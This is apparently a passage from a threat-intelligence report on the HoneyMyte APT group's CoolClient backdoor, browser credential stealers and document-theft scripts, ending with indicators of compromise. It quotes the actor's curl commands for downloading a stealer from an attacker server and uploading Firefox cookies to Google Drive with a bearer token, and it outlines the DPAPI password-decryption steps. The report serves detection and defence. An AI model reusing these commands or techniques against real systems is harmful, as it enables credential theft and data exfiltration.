Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant	Targeted browser(s)	Execution method	MD5 hash
A	Chrome	Direct execution (PE32)	1A5A9C013CE1B65ABC75D809A25D36A7
B	Edge	Direct execution (PE32)	E1B7EF0F3AC0A0A64F86E220F362B149
C	Chromium-based browsers	DLL side-loading	DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15